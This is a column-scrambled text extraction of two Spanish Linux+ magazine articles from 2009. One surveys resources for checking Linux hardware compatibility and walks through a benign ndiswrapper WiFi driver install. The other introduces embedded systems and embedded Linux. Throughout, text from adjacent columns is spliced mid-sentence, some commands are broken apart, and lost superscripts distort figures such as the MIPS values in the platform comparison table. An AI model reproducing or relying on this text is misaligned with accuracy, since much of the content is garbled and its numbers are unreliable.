ebian/Ubuntu, Android, Rockbox o IpodLi- so es dejarse caer por Internet para obtener información. nux son algunas de las soluciones. Su desti- Existen muchas vías de investigación dependiendo del no, un ordenador, un teléfono o un juguete. equipo, pero ahí van varios consejos. Lo primero que hacen los amantes de Linux [email protected] Da la hora de elegir su nuevo ordenador o algún componente, Tarjetas Gráficas es investigar si el hardware que van a adquirir es compati- Para conocer si una tarjeta gráfica es compatible, tenemos ble, ya sea para un equipo portátil o de sobremesa. Hoy en dos guías principales. Para controladores libres, se recomien- día se puede elegir cualquier sistema a sabiendas que tendrá da visitar la lista del sitio X.org de tarjetas soportadas (http:// muchas posibilidades de funcionar con cualquier distribu- xorg.freedesktop.org/wiki/Projects/Drivers?action=show& ción. Sin embargo, un apoyo suficiente en las pequeñas redirect=VideoDrivers). Para controladores propietarios, es lagunas que siguen existiendo, sigue siendo una buena idea. necesario visitar los sitios del fabricante. La mayoría de los Prácticamente todas las placas base, discos duros, teclados, usuarios suelen tener algún quebradero de cabeza con los ratones, tarjetas de red, unidades de DVD y unidades flash controladores propietarios para Nvidia y ATI (Figura 1), las trabajan con Linux sin problema. Sin embargo, no hemos dos casas líderes en fabricación de tarjetas gráficas. Es muy de fiarnos de aquél que funcione por software en vez de con recomendable echar un vistazo al proyecto Nouveau (http:// botones físicos, ya que suelen ser dispositivos que han sido nouveau.freedesktop.org/wiki/), encargados de desarrollar diseñados generalmente para Windows y, a veces, para Mac controladores libres para Nvidia. El proyecto Avivo también OS X. Aún teniendo un buen soporte, la elección de muchas desarrolla controladores libres para las líneas R500/R600 piezas de hardware sigue siendo arriesgada. Pocos fabrican- de las tarjetas ATI, pero todavía ninguno ha visto la luz. tes hablan de su compatibilidad con Linux en sus envolto- La elección entre controladores libres o propietarios, se ba- rios, por no hablar de sus sitios web, así que el único recur- sará únicamente en preferencias filosóficas. Sin embargo,

20 Linux+ 10/2009

20_21_22_23_Compalible.indd 20 2009-08-13, 14:21 hardware Compatible Linux

dependiendo de la elección, deberemos sa- para impresoras de color), podremos compro- de búsqueda de escáneres soportados (http:// crificar funcionalidad y/o estabilidad. Para bar en la base de datos de compatibilidad de www.sane-project.org/cgi-bin/driver.pl) que dejarlo claro, los controladores libres para ATI impresoras de la Fundación Linux en http:// nos mostrará si un escáner es funcional en Li- y Nvidia no suelen tener soporte 3D, mientras www.linuxfoundation.org/en/OpenPrinting/ nux. Generalmente, el estado será "Completo" que los propietarios de ATI tienden a ser lentos Database/DatabaseIntro la cual forma parte o "No soportado", aunque en muchos de los y con bugs, así como los de Nvidia son rápidos del proyecto OpenPrinting de la Linux Funda- casos la información disponible es realmente pero variables en calidad. En otras palabras, tion (formalmente LinuxPrinting.org). La base pobre y tienen más de dos o tres años de anti- ninguno es completamente satisfactorio. Otra de datos de compatibilidad de impresoras es güedad. Desafortunadamente también, en vez de las consideraciones a tener en cuenta es la casi el recurso ideal para las impresoras. Su de mostrarnos una lista de selección, los cam- política de la distribución de Linux. Las distri- base de datos de impresoras es casi perfecto, pos de búsqueda requieren que conozcamos buciones comerciales como y Xandros donde el lector podrá buscar por modelo, el fabricante, modelo o ID de Producto. Para suelen trabajar con controladores propietarios, fabricante o controlador. El soporte ofrecido conseguir más información, se recomienda mientras que Ubuntu utiliza los libres por de- para cada modelo se resume en una escala visitar los foros del Proyecto SANE. fecto pero incluye un Gestor de Dispositivos de cuatro puntos (perfecto, la mayor parte, Propietarios desde el que podremos instalar parcial y pisapapeles). La base de datos guar- Cámaras Digitales controladores propietarios de una forma muy da información sobre los controladores que Las cámaras digitales modernas han abando- sencilla, y Debian ofrece controladores propie- funcionan con cada impresora, dónde con- nado en su mayoría los formatos propietarios tarios en las secciones no libres de sus reposi- seguir instrucciones detalladas acerca de su del pasado en favor de protocolos USB sopor- torios. Fedora 7 es uno de los primeros en in- configuración e información como las reso- tados de una forma fácil por Linux. Sin embar- corporar los controladores libres Nouveau para luciones soportadas y observaciones de otros go, si quieres estar seguro que la tuya no es una tarjetas Nvidia. Con independencia de los con- usuarios. Como alternativa, existe la página excepción, gPhoto (http://www.gphoto.org/proj troladores disponibles, aquellos disponibles en de Impresoras Sugeridas (http://www.linux- /libgphoto2/support.php) provee la librería lib- formato paquete de la distribución y en reposi- foundation.org/en/OpenPrinting/Database/ re principal para soporte de cámaras y mantie- torio, serán los más sencillos de gestionar. SuggestedPrinters), donde se recomienda qué ne una lista de 914 cámaras. Otra fuente es el fabricantes y modelos son los mejores para la sitio de Soporte de Cámaras Digitales de , Tarjetas de Sonido compra dependiendo de las necesidades del Linux y BSD de Hubert Figuière's (http://www. Pocos o ningún sitio en la red contiene infor- usuario y su presupuesto en las categorías de teaser.fr/%7Ehfiguiere/linux/digicam.html), mación completa disponible para los pobres Inyección de Tinta Color, Láser Monocromas, donde recibiremos detalles no sólo de las cá- usuarios que van a comprar una tarjeta de Láser Color y Láser de Alta Calidad. Estas maras soportadas, sino también de cómo con- sonido. Uno de ellos es The Linux Sound Site recomendaciones, en su gran mayoría, se ba- figurarlas si no están soportadas y solución de (http://linux-sound.org/hardware.html), donde san en los informes recogidos de los foros de problemas. Ambos sitios nos muestran in- el lector encontrará un breve resumen de las OpenPrinting, donde también se recomienda formación en listas así como sistemas de bús- tarjetas de sonido compatibles con Linux. Es echar un vistazo. queda en sus bases de datos. también muy recomendable la lista de desarro- lladores de LinuxAudio, disponible en http://lad. Escáneres Tarjetas WiFi linuxaudio.org/archive/lad.html. Otro de los si- Si nuestra idea es escanear desde una impre- Hace algunos años, los módems eran la ma- tios útiles para obtener información sobre tarje- sora multifunción, la mejor opción es buscar yor laguna dentro del soporte de hardware tas de sonido es la Matriz de Tarjetas de Sonido en la base de datos de compatibilidad de im- en Linux. Hoy en día lo son los adaptadores disponible en The ALSA (Advanced Linux presoras. Sin embargo, la fuente principal con wireless. Además, el hecho de tener nuevos Sound Architecture) Project (http://www.alsa- información sobre compatibilidad de escáne- modelos continuamente hacen que sea aún project.org/main/index.php/Matrix:Main), res es, dentro del Proyecto SANE, el motor más difícil su soporte. En algunos casos, dos cuyo trabajo provee soporte de sonido para las distribuciones modernas (Figura 2). La matriz ofrece información detallada a desarrolladores sobre cada uno de los drivers, pero en lo que a usuarios finales se refiere, lo que más im- porta es que la lista muestre una tarjeta en particular y que su driver esté disponible. Si lo está, podremos estar seguros que la tarjeta funcionará con las distribuciones actuales.

Impresoras Gracias a los controladores libres de Hewlett- Packard, podremos obtener una funcionali- dad básica en Linux de cualquier impresora que soporte el lenguaje de impresión PostS- cript. Sin embargo, si deseamos información detallada antes de comprar (especialmente Figura 1. Tarjetas de Vídeo ATI y NVIDIA

www.lpmagazine.org 21

20_21_22_23_Compalible.indd 21 2009-08-13, 14:21 hardware Compatible Linux

Existen numerosos sitios de diferentes fabri- cantes y modelos y una búsqueda por la red nos dirá si funcionará de forma correcta en Linux. Como en la mayoría de los casos, pro- bablemente no encontremos información en el sitio del fabricante, pero también, como en la mayoría de los casos, tenemos una comunidad con bastantes comentarios útiles. El sitio The WebCam HOWTO (http://tldp.org/HOWTO/ Webcam-HOWTO/) incluye bastantes enlaces interesantes de los usuarios. Para cámaras firewire, prueba la lista IEEE1394 en http:// damien.douxchamps.net/ieee1394/cameras/. Otro de los sitios realmente interesantes y útiles es A Free World en http://mxhaard.free. fr/spca5xx.html, cuyos controladores Spca5xx han empezado a encontrar su lugar en los re- positorios de las mayores distribuciones, inclu- yendo Debian. Si el controlador de la cámara está en la lista de este sitio y la distribución incluye paquetes para estos controladores, en- tonces la cámara se configurará automática- mente y sin esfuerzo.

Portátiles y otros dispositivos móviles Tuxmobil (http://tuxmobil.org/) mantiene una Figura 2. Configuración Sonido ALSA lista de portátiles, reproductores de música, tarjetas que supuestamente son el mismo mo- Broadcom, bcm43xx-fwcutter. Cada uno de teléfonos móviles, tarjetas PCMCIA y otros delo, pueden tener diferente firmware y re- estos proyectos utiliza recursos de controlado- dispositivos móviles en una colección de do- querir diferentes drivers. El mejor sitio para man- res de Windows o Mac para activar las tarjetas cumentos PDF. La información del sitio varía tenerse actualizado sobre el estado de soporte en Linux. La principal desventaja en ambos ampliamente en detalle y calidad, y mucha de wireless, resolución de problemas e histórico sistemas es que, en cada caso, necesitaremos la información es relativa a una distribución es el Wireless LAN Resources para Linux ser capaces de utilizar el comando lspci para concreta. Sin embargo, con un poco de pacien- (http://www.hpl.hp.com/personal/Jean_Tourri- obtener nuestro ID de bus de la tarjeta antes de cia y algo de creatividad, podremos encontrar lhes/Linux/), mantenido por Jean Tourrilhes confirmar que nuestra tarjeta está soportada. información realmente útil. y subvencionado por Hewlett-Packard. La in- Antes de comprar, lo mejor que puede hacer el formación del sitio se presenta de forma caóti- lector es chequear la lista para ver cuantas tar- Otras fuentes de información ca, pero con paciencia podremos extraer infor- jetas similares a la nuestra trabajará con ndis- Si los sitios mostrados en este artículo no son mación muy valiosa. Si nuestra tarjeta wifi no wrapper. suficientes, es muy recomendable visitar los está soportada, podremos hacerla funcionar con foros y canales IRC de nuestra distribución ndiswrapper (http://ndiswrapper.sourceforge. Cámaras Web favorita (Figura 3). Normalmente, se puede net/joomla/index.php?/component/option, El mejor escenario para configurar una cá- encontrar información específica y paso a paso com_openwiki/Itemid,33/id,list/) o, para tarjetas mara web es cuando compramos una externa. sobre cómo resolver un problema de hardware y más de un usuario estará encantado de ayu- dar y enseñarnos a configurar su dispositivo. De hecho, debemos considerar la bús- queda en foros de grandes distribuciones como Debian o Fedora aunque no vayamos a instalarlas. La cantidad en volumen de in- formación que encontraremos en un foro de una distribución importante, hacen de ellos un recurso muy útil. Las desventajas son que tenemos más información que buscar y que ajustar la localización de archivos a la distri- bución que estamos utilizando. Vamos a echar un ojo también a sitios Figura 3. Foro Ubuntu como Linux Hardware.org (http://www.linux

22 Linux+ 10/2009

20_21_22_23_Compalible.indd 22 2009-08-13, 14:21 hardware Compatible Linux

hardware.org/) y Linux Devices (http://www. Instalación del controlador Configuración del controlador linuxdevices.com/), donde se publican revisio- Descargamos el controlador Windows apro- Comprobaremos que el dispositivo tiene una nes regulares del funcionamiento de diferente piado para nuestro dispositivo. Utilizaremos interfaz asignada: hardware en Linux. La información en estos si- el sitio descrito en la primera parte del artículo

tios no suele ser exhaustiva, pero puede que con para comprobar el controlador que funciona- iwconfi g suerte encontremos la información que necesi- rá mejor para la tarjeta de red instalada. Pode- tamos. En el futuro, otro recurso útil será Hard- mos visitar también http://www.linuxant.com/ Y activamos con el comando: ware4Linux (http://hardware4linux.info/), un driverloader/drivers.php y comprobar si nues-

sitio que está intentando crear una lista de hard- tro controlador se encuentra en la lista. Parece ifconfi g wlan0 up ware funcional valorado por los usuarios. Aún increíble, pero aquí podremos encontrar con- así, actualmente, el sitio tiene menos de 1200 troladores para algunos dispositivos 64-bit a Conclusiones réplicas y 5300 votaciones, así que por ahora los que su propio fabricante no ofrece soporte Existen muchas leyendas urbanas sobre la la parte más interesante del sitio puede ser los 64-bit. Habrá que tener en cuenta que si nues- complicación de Linux comparada con la comentarios enviados por los usuarios. tro controlador se encuentra comprimido en facilidad de uso de otros sistemas operativos. Si estás interesado en comprar un orde- zip, utilizaremos la utilidad unzip (en algunos Una de esas leyendas se basa en la compleji- nador ya montado, el camino más fácil para casos aún teniendo la extensión .exe, podre- dad de configuración y la falta de compatibi- conseguir información sobre el sistema es mos ejecutar unzip para extraer su contenido). lidad de algunos dispositivos. Con las reseñas arrancándolo con un Live CD de la distribu- Si es un exe, utilizaremos unshield y si es un de este artículo, el lector podrá guiarse a la ción que vamos a utilizar (si nos dejan en la .cab, cabextract. Instalamos el paquete unzip: hora de solucionar un problema o hacer fun- tienda). Tanto la información como el rendi- cionar cualquier componente de hardware.

miento que nos ofrezca el Live CD nos dirá la sudo apt-get install unzip Particularmente, y como se ha comentado al mayor parte de lo que queremos saber. principio del artículo, es muy recomendable Con todas estas fuentes, seremos capaces Descargamos el controlador desde el fabri- visitar siempre los foros y wikis de la distri- de eliminar muchas de las conjeturas antes cante: bución que nos gusta. de comprar cualquier pieza de hardware que En mi caso particular creo que la mayor

queramos ejecutar en Linux. wget http://ftp.us.dell.com/network/ parte de esas leyendas son falsas por ello, R151517.EXE reto a todos los lectores a realizar una prueba Un ejemplo. Instalación siguiendo los siguientes pasos: de NdisWrapper Extraemos su contenido: Vamos a introducir un ejemplo para confi- • Cojamos varios ordenadores (un servi-

gurar una tarjeta WiFi con NdisWrappper. unzip -a R151517.EXE dor, una estación de trabajo, un x64, un Se explicará la instalación del módulo del netbook y un mac al azar). kernel, a continuación instalaremos un driver Instalamos el controlador NDIS: • Instalemos varios sistemas operativos en de Windows (.inf) en el módulo ndiswrapper todos ellos.

y configuraremos una conexión a la red. ndiswrapper -i DRIVER/bcmwl5.inf • Comprobemos cuál de los sistemas ope- rativos es el que da mayor funcionalidad Instalación del módulo Y verificamos la instalación: a todo el hardware desde el primer mi- Instalamos los paquetes module-assistant nuto.

y wireless-tools: ndiswrapper -l

sudo apt-get install module- Deberemos obtener: Sobre el Autor assistant wireless-tools José Ángel Muñoz Martínez es Técnico bcmwl5 : driver installed Superior de Informática de Sistemas. Construimos e instalamos un paquete ndis- device (14E4:4311) present wrapper-modules-* para nuestro sistema uti- Nacido en 1973 en Madrid, actualmente lizando Module Assistant: Alternativamente podremos utilizar el paque- trabaja en el sector de la RFID (Identifi- te ndisgtk para instalar los controladores en cación por Radio Frecuencia). Sus inte- reses son, el software libre, Linux y todo m-a prepare modo gráfico. lo relacionado con las comunicaciones m-a a-i ndiswrapper Desinstalación del controlador y la seguridad. Su experiencia se basa Añadimos ndiswrapper a la lista de módulos Para eliminar el controlador previamente en un fuerte control de Sistemas Linux del kernel que cargarán en el arranque: instalado ejecutamos: y Windows, abarcando un amplio aba- nico en el mundo de la informática, el control de calidad y la documentación. echo ndiswrapper >> /etc/modules ndiswrapper -e Su blog personal está en http://linux- Activamos el módulo NDISwrapper: Por ejemplo: neobook.blogspot.com/ y su correo, don- de podréis contactar con él, josea.munoz@ gmail.com. modprobe ndiswrapper ndiswrapper -e bcmwl5

www.lpmagazine.org 23

20_21_22_23_Compalible.indd 23 2009-08-13, 14:21 hardware Linux integrado

Linux integrado Lino García Morales Los sistemas integrados son un tipo particular de arquitectura hardware que, a diferencia de los sistemas generales, se diseña para satisfacer requerimientos muy específicos. Del inglés embedded system se suele traducir como empotrado, embebido, embarcado o incrustado. Una plataforma de este tipo implica un control muy preciso de todos los periféricos estricta- mente necesarios por lo que, si bien los sistemas de propósito general (como cualquier PC) admiten un número casi ilimitado de recursos (discos, interfaces de sonido, vídeo, televisión, impresoras, etc.), los sistemas integrados son mucho más cerrados, contienen todo lo que necesitan y lo gestionan con muy alto rendimiento y muy baja tasa de fallos.

al capacidad de integración no está relaciona- arquitectura. El ordenador o computadora es un ejemplo de da directamente con el tipo de dispositivo de sistema pensado para uso general. proceso, ni con su uso; la piedra angular de Aunque con el tiempo los límites son cada vez más bo- Macintosh en sus inicios fue precisamente un rrosos se puede hablar, según capacidad de proceso y cos- [email protected] Talto nivel de integración (lo que le proporcionó muy alta te, de los siguientes grandes sistemas centralizados. fiabilidad y prestaciones) y, sin embargo, eran sistemas in- Supercomputer. Equipo que lideró al mundo (o estuvo formáticos generales (para cualquier uso o, lo que es más a punto de hacerlo) en términos de capacidad de procesa- preciso, para un elevado número de usos). miento, en particular la velocidad de cálculo, desde el mo- mento de su introducción. Se utilizan para tareas de cálcu- Sistemas lo altamente intensivas, como la resolución de problemas En España se suele utilizar la palabra ordenador para desig- de física cuántica, predicción meteorológica, modelado nar un sistema con capacidad genérica de procesado digital molecular, simulaciones físicas, criptografía, etc. Coste en mientras que en América, en general, se utiliza computador. el orden del 1000000 de euros. Ambos son términos correctamente empleados y aceptados Mainframes. Computadoras utilizadas principalmente por la RAE (Real Academia Española), por lo que se utiliza- por grandes organizaciones para aplicaciones críticas como rán indistintamente. Sin embargo, para evitar ambigüedades el procesado de enormes cantidades de datos (transaccio- y hacer más legible el texto, es conveniente realizar algunas nes comerciales, censos, encuestas, etc.). Coste en el or- precisiones. Cualquier ordenador o computador tiene, al den de los 100000 euros. menos, un procesador y alguna capacidad de ampliar sus Minicomputer (coloquialmente, mini). Término ya ob- recursos mediante interfaces. Al conjunto procesador-inter- soleto para una clase de computadoras muti-usuarios en el faces, como un todo, se le suele llamar sistema, plataforma, espectro medio de capacidad de proceso entre los sistemas

24 Linux+ 10/2009

24_25_26_27_28_Integrado.indd 24 2009-08-13, 14:22 hardware Linux integrado

multiusuarios más grandes (mainframe) y los comunicación y computación. Esto incluye Tabla 1. Comparación de las prestaciones de las sistemas mono-usuarios más pequeños (mi- dispositivos como los portátiles con red ina- diversas plataformas crocomputadoras u ordenadores personales). lámbrica (LAN) o la tecnología inalámbrica Plataforma Capacidad(Mips) Coste (€) Coste en el orden de los 10000 euros. WAN, teléfonos móviles, ordenadores portáti- Ordenador de sobremesa (también conoci- les y PDAs con interfaces Bluetooth o IRDA. Supercomputer 1015 1000000 dos como microcomputer, microcomputadora, Por ejemplo: Ordenador portátil, Asistente Mainframes 100000 100000 computadora o, simplemente, PC). Diseñados Personal Digital (PDA), Terminales portá- Minicomputer 1 10000 para usar sobre el escritorio en la oficina o en casa. tiles de datos (PDT), Terminales de datos Según su función se puede clasificar en cuatro móviles (ETM), Tablero ordenador personal, Microcomputer 10000 1000 tipos: casero, personal, estación de trabajo, ser- Teléfonos inteligentes, etc. Coste en el orden Mobilecomputer 1000 100 vidores de internet, y especializadas en comuni- de los 100 euros. Embedded 10 10 caciones. Coste en el orden de los 1000 euros. Embedded system. Sistema integrado, lo System Cart computer. Pensados para aumentar que nos ocupa, dedicado sólo a determinadas

la movilidad, tienen la misma potencia que los funciones. Se caracterizan por su modularidad, Rest of the Story) (http://www.ece.cmu.edu/ de sobremesa con unas dimensiones reduci- gestión autosuficiente, dimensiones reduci- ~koopman/iccd96/iccd96.html) representa das. Por ejemplo: tablet PC o laptop. Se puede das, bajo consumo de potencia y una gran un esquema genérico de los componentes de alimentar con baterías recargables y guardar interconectividad. Coste en el orden de los un sistema integrado. donde quiera (maletín, funda, etc.). Coste en el 10 euros. Un sistema integrado consta, en general, orden de los 1000 euros. Como se puede observar en este breve re- de los siguientes componentes: Portable computer. Ordenador diseñado paso tecnológico el objetivo de todas estas para moverlo de un lugar a otro. Por naturaleza tecnologías es proporcionar determinada capa- • Procesador. Elemento que aporta capaci- son microcomputadoras. Este término se uti- cidad de proceso y esta proporción está directa- dad de cómputo al sistema (CPU, en la liza casi exclusivamente para hacer referencia mente relacionada directamente con el precio. Figura 1). a computadoras mayores que un portátil nor- Las cifras que se manejan no son precisas y, de- • Comunicación. El sistema debe comuni- malmente sin alimentación por baterías. Las penden de muchas variables (como el valor de carse mediante interfaces estándar de cable computadoras portables más pequeñas se co- la moneda y el desarrollo tecnológico) pero sí o inalámbricas. Algunos puertos de comu- nocen como ordenadores móviles y se hace re- permite tener una idea del tramo de coste co- nicaciones típicos son: RS232, RS485, ferencia a ellas según un término específico: rrespondiente. Por ejemplo en el tramo de las SPI, I²C, CAN, USB, IP, WiFi, GSM, centenas: 10 euros, los costes se mueven desde GPRS, DSRC, etc. • Laptop (o Notebook). Monitor de panta- valores cercanos a la unidad hasta valores cer- • Presentación. Elemento que permite repre- lla plana y teclado que requiere trabajar canos a 99 euros. Hay que tener en cuenta que sentar la información. Suele ser una pan- sentado y con ambas manos. en ocasiones el coste del procesador representa talla gráfica, táctil, LCD, alfanumérico, • Tablet PC. Esencialmente un laptop que aproximadamente el 10% del coste total de la etc. opera al estilo de una pantalla sensible al plataforma. La Tabla 1 ofrece una comparativa • Interfaces. Elementos que permiten al sis- tacto. entre las diversas arquitecturas en base a su tema integrado interactuar con el mundo • Sub-notebook. Algo entre un laptop y una capacidad y coste. En este ámbito MIPS = (Nº. real. Esta interacción se da en dos senti- PDA. Instrucciones/ tiempo de respuesta) 10-6. dos. Hacia el sistema integrado la inter- • Pocket computer. Combina las caracterís- faz permite capturar información del mun- ticas de una calculadora alfanumérica, un Componentes do real, habitualmente de sensores. Los pequeño ordenador casero (normalmente La Figura 1, tomada del artículo de Philip J. Koop- módulos de E/S analógicas y digitales programado en BASIC) y una PDA. man, Jr, Embedded System Design Issues (the sirven para digitalizar señales analógicas • PDA (Personal Digital Assistant). Nor- malmente se sostiene con una mano y se opera con la otra.

Coste en el orden de los 1000 euros. Mobile Computing. Término genérico que describe su capacidad para utilizar la tec- nología de los robots, que no está físicamente conectado, o en entornos remotos o móviles (no estático). El término ha evolucionado en el uso moderno de tal forma que se requiere que la actividad de computación móvil se co- necte sin cables a través de la Internet o a tra- vés de una red privada. Esta conexión enlaza el dispositivo móvil al centro de información y/o software de aplicación mediante el uso de pilas, portátiles, móviles y dispositivos de Figura 1. Componentes de un sistema integrado

www.lpmagazine.org 25

24_25_26_27_28_Integrado.indd 25 2009-08-13, 14:22 hardware Linux integrado

Instruments, etc.) cada una orientada y dedi- cada a diferentes sectores del mercado. Microcontrolador. Circuito integrado o chip que incluye en su interior las tres unidades funcionales de cualquier computadora: CPU, Memoria y Unidades de E/S; se trata de un ordenador completo en un solo circuito in- tegrado. Aunque sus prestaciones son limitadas, además de dicha integración, su característica principal es su alto nivel de especialización. Los hay del tamaño de un sello de correos, incluso más pequeños, ya que, lógicamente, forman parte del dispositivo que controlan. El microcontrolador es un microprocesador op- Figura 2. EMAC SoM-9260M timizado para controlar equipos electrónicos procedentes de sensores, reconocer el es- procesadores digitales de señal, DSP (Digital (probablemente entre los electrodomésticos de tado abierto/cerrado de un conmutador o Signal Processor) se da en flops; por ejemplo 1 un hogar hayan distribuido una o dos docenas pulsador, etc. Desde el sistema integrado Mflops equivale a 1 millón de operaciones de de microcontroladores y pueden encontrarse la interfaz permite actuar sobre el mun- Punto Flotante Por Segundo, la frecuencia del en casi cualquier dispositivo eléctrico como do real. Por ejemplo mover un motor reloj (relacionada con lo anterior), el ancho de automóviles, lavadoras, hornos microondas, eléctrico, normalmente con una salida palabra de datos (16, 32, 64 bits, etc.) e instruc- teléfonos, etc.). Los microcontroladores re- de señal PWM para control de la velo- ciones (los procesadores CISC, Complex Ins- presentan la inmensa mayoría de los chips de cidad en motores de corriente continua, truction Set Computer, manejan microinstruc- computadoras vendidos, sobre un 50% son abrir o cerrar un conmutador tipo relé, ciones de diferente tamaño, lo que los vuelve controladores simples y el restante corres- encender/apagar un LED, etc. menos eficientes que los procesadores RISC, ponde a DSPs más especializados. Un micro- • Reloj. Es el encargado de generar las di- Reduced Instruction Set Computer), etc. controlador es más fácil de convertir en una ferentes señales de reloj a partir de un Las tres grandes familias de procesadores computadora, con un mínimo de chips exter- único oscilador principal. El tipo de oscila- más importantes son: microcontrolador (Mi- nos de apoyo, a diferencia de un procesador dor es importante por varios aspectos: por crochip, Atmel, etc.), procesador de propósi- normal (de propósito general). La idea es la frecuencia y la estabilidad necesarias to general (Intel, AMD, etc.) y procesador de que el circuito integrado microcontrolador se y por el consumo de corriente requerido. señal digital o DSP (Analog Devices, Texas coloque en un dispositivo, enganchado a la Los osciladores con mejores característi- cas en cuanto a estabilidad y coste son los basados en resonador de cristal de cuarzo, mientras que los que requieren menor consumo son los RC. • Energía. El módulo de control de la ene- rgía o potencia se encarga de generar las diferentes tensiones y corrientes necesa- rias para alimentar los diferentes circuitos del sistema integrado. El consumo de energía puede ser determinante en el de- sarrollo de sistemas integrados alimenta- dos con baterías.

Procesadores El procesador es el elemento programable de un sistema integrado. Muy a menudo se le de- nomina, erróneamente, CPU, Control Proces- sing Unit. Una CPU puede estar soportada por uno o varios microprocesadores, y un micro- procesador puede soportar una o varias CPU. La porción del procesador que realiza todas las actividades de una CPU real es el núcleo. En general, los procesadores se pueden clasificar según su capacidad de realizar operaciones en el tiempo (en algunos procesadores como los Figura 3. gumstix verdex pro XM4

26 Linux+ 10/2009

24_25_26_27_28_Integrado.indd 26 2009-08-13, 14:22 hardware Linux integrado

fuente de energía y dé la información que de los DSP incluyen circuitería para ejecutar procesador) destinado a permitir una gestión necesite, y eso sea todo. Un microprocesador de forma rápida operaciones de multiplicar eficaz de sus recursos. Comienza a trabajar tradicional no permite hacer esto, sino que y acumular, conocidas como MAC (multi- cuando se enciende el ordenador, y ges- espera que todas estas tareas sean manejadas plican y suman en una sola instrucción); lo tiona el hardware de la máquina desde los por otros integrados. cual es muy importante en operaciones de niveles más básicos, permitiendo también la Un microcontrolador típico tiene inte- filtrado y convolución. A menudo poseen interacción con el usuario. Los OSs vienen grado un generador de reloj y una pequeña arquitecturas de memoria que permiten un integrados en la mayoría de los aparatos cantidad de memoria RAM y ROM/EPROM/ acceso múltiple para permitir de forma si- electrónicos que utilicen microprocesadores EEPROM; para hacerlo funcionar, todo lo multánea cargar varios operando, por ejem- para funcionar; gracias a éstos se arranca la que se necesita son unos pocos programas plo, una muestra de la señal de entrada y el máquina y ésta cumple con sus funciones de control y un cristal de sincronización. Los coeficiente de un filtro simultáneamente en (teléfonos móviles; reproductores multifor- microcontroladores disponen generalmente paralelo con la carga de la instrucción. Tam- matos: MPEG2, DIVX, XVID, DVB HDTV, también de una gran variedad de dispositi- bién incluyen una variedad de modos espe- etc.; TDTs... y computadoras). El uso de un vos de entrada/salida, como convertidores ciales de direccionamiento y características OS es importante porque facilita el acceso a analógico/digital, temporizadores, UARTs de control de flujo de programa diseñadas los recursos del procesador y los administra (Universal Asynchronous Receiver-Trans- para acelerar la ejecución de operaciones de manera eficaz. Actúa como una capa de mitter) y buses de interfaz serie especiali- repetitivas. Además, la mayoría de los abstracción que oculta la complejidad del zados, como I2C (Inter-Integrated Circuit) DSP incluyen en el propio chip periféricos hardware. Sin embargo requiere del con- y CAN (Controller Area Network). Frecuen- especiales e interfaces de entrada/salida que sumo de estos recursos por lo que es muy temente, estos dispositivos integrados pue- permiten que el procesador se comunique importante sintonizar, optimizar, adaptar, el den ser controlados por instrucciones de eficientemente con el resto de componentes OS al sistema integrado específico. proceso especializadas. En general, se suele del sistema, tales como convertidores analó- utilizar a partir de los portable computer, gicos-digitales o memoria. Linux para Sistemas mobile computing and embedded systems. Una señal, en este contexto, es una se- Integrados Microprocesador. Un microprocesador cuencia discreta (digital) que representa una El único OS estándar y de amplio uso y dis- es un circuito integrado, construido en un señal analógica del mundo real tal como au- tribución, hasta el momento, es Linux. Linux trozo diminuto de silicio, que contiene miles, dio (unidimensional), imagen (bidimensio- cuenta con implementaciones para práctica- o incluso millones, de transistores interconec- nal) o vídeo (tridimensional). Estas señales mente todas las familias de ordenadores, tados de manera tal que realicen una amplia tienen la particularidad de moverse a gran- es gratis, multitarea (permite la ejecución variedad de funciones generales con la par- des velocidades (lo que se traduce a un gran “simultánea” de varios programas), adecua- ticularidad que estas funciones o instruccio- ancho de banda) y requerir mucha memoria. do para aplicaciones críticas en seguridad nes no son fijas y pueden ser programadas Por ejemplo la señal de audio que utiliza y fiabilidad. La única pega es, si la tiene, su por software. un CD casero emplea 16 bits por muestra, entorno de trabajo y desarrollo (por lo de- No obstante sus diferencias es importante 44100 muestras por segundo y dos canales más cada vez más amable). El uso de un OS destacar la intrusión de estas tres tecnologías. (estéreo). Cualquier proceso sobre este tipo estándar tiene grandes ventajas: disminuye Desde los Pentiums MMX, por ejemplo, los de señal, como puede ser, por ejemplo, una el ciclo de desarrollo e indirectamente el microprocesadores de Intel llevan integrado operación de filtrado en frecuencia (lo que coste, facilita su mantenimiento, cuenta con un conjunto de instrucciones para procesado se conoce como ecualización) requiere de amplio soporte, documentación y canales de digital de señal, los DSP incluyen módu- un gran número de operaciones que deben ayuda, está optimizado, etc. los de entrada salida, como convertidores ser satisfechas en un tiempo muy breve (en OpenWrt (http://openwrt.org/), por ejem- analógicos/digitales y viceversa, los micro- torno a aproximadamente 2x10-5 segundos). plo, es un proyecto open-source para crear controladores (como los dsPIC de Microchip) Otras señales para lo cual se desarrollan mu- sistemas operativos integrados en dispositi- incluyen muchas de las instrucciones especia- chos sistemas integrados están relacionadas vos de redes. Soporta una amplia gama de lizadas de un DSP, etc. Este proceso de con- con las tecnologías de comunicación: WiFi, dispositivos y permite a los desarrolladores vergencia hace más difusas las fronteras de GSM, GPRS, DSRC, routers, switchers, añadir soporte a nuevos dispositivos y paque- estas grandes familias a la vez que facilitan antenas, etc. tes fácilmente. dispositivos cada vez más robustos, peque- ños, versátiles, integrados, de menor consumo Sistema Operativo Productos y potentes. La elección del procesador debe tener en cuenta Los siguientes ejemplos, uno por cada proce- Procesador de señal digital. Como su otro aspecto igualmente importante: el sistema sador, son sólo algunos esfuerzos tecnológi- nombre indica, estos procesadores son muy operativo (OS, ). En general cos interesantes en el desarrollo de sistemas buenos en realizar operaciones aritméticas son elementos independientes y un procesador integrados; sin embargo, todos comparten en punto fijo o flotante relacionadas con el es susceptible de admitir diversos OSs pero, en algunas buenas características; son: baratos, procesado de señal. Los DSP utilizan arqui- aquellos casos donde el OS está integrado (lo versátiles, de bajo consumo y pequeños y, por tecturas especiales para acelerar los cálculos cual es típico en los sistemas integrados) no es supuesto, tienen un OS Linux integrado. matemáticos intensos implicados en la ma- posible o es muy difícil su sustitución. SoM-9260M (http://www.emacinc.com/ yoría de sistemas de procesado de señal en Un OS es un programa o conjunto de som/som9260.htm), de EMAC inc., está basado tiempo real. Por ejemplo, las arquitecturas programas (secuencia de instrucciones al en el procesador ARM9 AT91SAM9260 de At-

www.lpmagazine.org 27

24_25_26_27_28_Integrado.indd 27 2009-08-13, 14:22 hardware Linux integrado

